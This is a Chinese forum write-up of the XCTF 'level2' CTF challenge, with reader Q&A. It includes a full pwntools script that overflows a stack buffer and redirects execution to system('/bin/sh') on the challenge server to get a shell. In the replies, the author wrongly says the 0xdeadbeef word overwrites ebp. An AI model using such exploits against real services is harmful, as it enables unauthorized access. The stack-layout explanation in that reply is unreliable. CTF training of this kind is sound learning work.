首页
论坛
课程
招聘
[原创]XCTF攻防世界 level2
2019-5-14 12:09 17491

[原创]XCTF攻防世界 level2

2019-5-14 12:09
17491

Level2

这是XMAN上之前比赛的一道题,还是挺简单的,ROP的基本入门使用。

检查文件

  • 可以获取的信息有:32位程序;在输入很长的字符串后程序仍然正常退出;文件没有开启canary,但是开启了NX。

IDA查看

  • 首先可以看到的是,程序的代码很少,main函数中只调用了一个vulnerable_function()和一个system()。F5看一下:

    确实没有发现其他函数,进入vulnerable_function()函数:

  • 在这里我们看到了一个buf[],然后没有其他内容了,没有对输入做任何限制,这也是为什么我们一开始输入大量的无效字符程序依然没有任何问题。

  • 查看一下程序的strings,可能会有其他有用的内容:

    我们看到了system和/bin/sh,这是解出题目的关键。
    我们可以构造一个system("/bin/sh")的伪栈帧,vulnerable_function()执行结束后返回到我们构造的伪栈帧去执行system("bin/sh"),这样就可以获取shell。(需要注意一点,因为我们的目的是通过system("bin/sh")来获取shell,所以函数执行完后的返回地址可以任意。)

    EXP

    #! /usr/bin/env python
    # -*- coding:utf-8 -*-
    from pwn import *
    context.log_level = 'debug'

    elf = ELF('./level2')
    sys_addr = elf.symbols['system']
    sh_addr = elf.search('/bin/sh').next()

    payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)

    io = remote('111.198.29.45',45800)
    io.sendlineafter("Input:\n",payload)
    io.interactive()
    io.close()

运行结果

  • 根据该题目的提示,使用ROP编程,其实可以大体猜到题目的解题思路,这道题目也是ROP利用的入门教学,可以实际理解一下ROP,为后续的深入开个门。

《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

最后于 2019-5-15 14:29 被有毒编辑 ,原因:
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (19)
雪    币: 193
活跃值: 活跃值 (232)
能力值: ( LV8,RANK:126 )
在线值:
发帖
回帖
粉丝
Roger 活跃值 1 2019-5-15 07:56
2
0
能上传一下题目吗?
雪    币: 12377
活跃值: 活跃值 (4016)
能力值: ( LV12,RANK:510 )
在线值:
发帖
回帖
粉丝
有毒 活跃值 8 2019-5-15 14:29
3
0
xuenixiang 能上传一下题目吗?
已经上传题目
雪    币: 193
活跃值: 活跃值 (232)
能力值: ( LV8,RANK:126 )
在线值:
发帖
回帖
粉丝
Roger 活跃值 1 2019-5-15 14:58
4
0
有毒 已经上传题目
谢谢~
雪    币: 87
活跃值: 活跃值 (37)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
罗小墨 活跃值 2019-5-17 00:18
5
0
这也不算rop吧,算个ret2text
雪    币: 1242
活跃值: 活跃值 (39)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Hotspur 活跃值 2019-6-5 20:33
6
0
大佬您好,请问payload中的0x88+0x4是怎样获得的
雪    币: 44
活跃值: 活跃值 (23)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
潇洒蛋 活跃值 2019-6-6 11:19
7
0
Hotspur 大佬您好,请问payload中的0x88+0x4是怎样获得的[em_9]
查看栈空间
雪    币: 2769
活跃值: 活跃值 (33)
能力值: ( LV12,RANK:209 )
在线值:
发帖
回帖
粉丝
htg 活跃值 2 2019-6-25 07:18
8
2
函数里面的char的位置是ebp-0x88
雪    币: 5
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
理想三旬 活跃值 2019-7-22 15:40
9
0
+0x4 是因为什么呢?是因为32位程序吗?
雪    币: 6
活跃值: 活跃值 (961)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
Vinadiak 活跃值 1 2019-8-7 08:56
10
1
栈空间是0x88+ebp+ret(返回地址),ROP要覆盖的是返回地址,所以+0x4是因为要覆盖ebp,ebp是没用的
雪    币: 40
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
ZhangZreo 活跃值 2019-9-28 08:32
11
0
大佬,我想请问一下:payload = 'A' * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)中p32(0xdeadbeef)的作用是什么,是覆盖栈中的什么位置,为什么去掉 了它就不成功。
雪    币: 540
活跃值: 活跃值 (134)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_辰先森 活跃值 2019-10-8 10:04
12
0
请问一下大佬,read函数有三个参数,这三个参数是不是按从右到左存放在返回地址下面啊,存的是buf数组的首地址吗
雪    币: 12377
活跃值: 活跃值 (4016)
能力值: ( LV12,RANK:510 )
在线值:
发帖
回帖
粉丝
有毒 活跃值 8 2019-10-8 10:21
13
0
ZhangZreo 大佬,我想请问一下:payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)中p32(0xde ...
是为了覆盖ebp
雪    币: 12377
活跃值: 活跃值 (4016)
能力值: ( LV12,RANK:510 )
在线值:
发帖
回帖
粉丝
有毒 活跃值 8 2019-10-8 10:22
14
0
wx_辰先森 请问一下大佬,read函数有三个参数,这三个参数是不是按从右到左存放在返回地址下面啊,存的是buf数组的首地址吗
是的
雪    币: 540
活跃值: 活跃值 (134)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_辰先森 活跃值 2019-10-9 15:59
15
0
谢谢
雪    币: 40
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
ZhangZreo 活跃值 2019-10-13 15:11
16
0
谢谢大佬
雪    币: 40
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
ZhangZreo 活跃值 2019-10-13 15:30
17
0
大佬,在跳到system函数的时候,是不是不会在进行
push ebp
mov ebp,esp 的操作,这样构造的栈针才会起作用
雪    币: 40
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
ZhangZreo 活跃值 2019-10-13 19:01
18
0
大佬,还是有点不懂,大佬说是覆盖ebp,那system函数的返回地址不用覆盖吗?栈针的结构不是
参数
返回地址
ebp
局部变量
雪    币: 241
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zoleooo 活跃值 2019-10-15 08:47
19
0
@ZhangZreo 那个sysaddr就是ret address,返回后覆盖为system的地址
你可以自己操练一下,把remote()改为process()
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Cec1 活跃值 2020-4-20 22:01
20
0
问下大佬,为什么payload里system的地址不是0x804849E呢?
游客
登录 | 注册 方可回帖
返回